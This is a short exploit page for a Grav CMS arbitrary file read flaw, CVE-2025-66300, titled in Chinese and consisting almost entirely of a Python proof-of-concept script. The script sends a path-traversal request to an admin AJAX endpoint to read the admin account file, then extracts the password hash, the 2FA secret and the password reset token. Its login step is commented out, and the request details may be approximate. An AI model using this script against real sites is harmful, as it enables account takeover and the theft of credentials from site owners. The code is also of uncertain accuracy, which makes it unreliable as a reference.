CVE-2025-66300 Grav CMS 任意文件读取漏洞

import requests import re target = "http://target-grav-site.com" username = "attacker_account" password = "attacker_password" # Step 1: Login to Grav CMS session = requests.Session() login_url = f"{target}/task:login" login_data = { "username": username, "password": password } # session.post(login_url, data=login_data) # Step 2: Exploit path traversal via Frontmatter form to read user account file file_to_read = "../../../../../../../grav/user/accounts/admin.yaml" exploit_url = f"{target}/admin/pages/ajax" headers = { "Content-Type": "application/x-www-form-urlencoded" } payload = { "action": "readfile", "file": file_to_read } # Send malicious request response = session.post(exploit_url, data=payload, headers=headers) # Step 3: Parse response to extract sensitive data if response.status_code == 200: content = response.text # Extract password hash password_hash = re.search(r'password: (.+)', content) # Extract 2FA secret twofa_secret = re.search(r'twofa_secret: (.+)', content) # Extract password reset token reset_token = re.search(r'reset_token: (.+)', content) print(f"Password Hash: {password_hash.group(1) if password_hash else 'Not found'}") print(f"2FA Secret: {twofa_secret.group(1) if twofa_secret else 'Not found'}") print(f"Reset Token: {reset_token.group(1) if reset_token else 'Not found'}")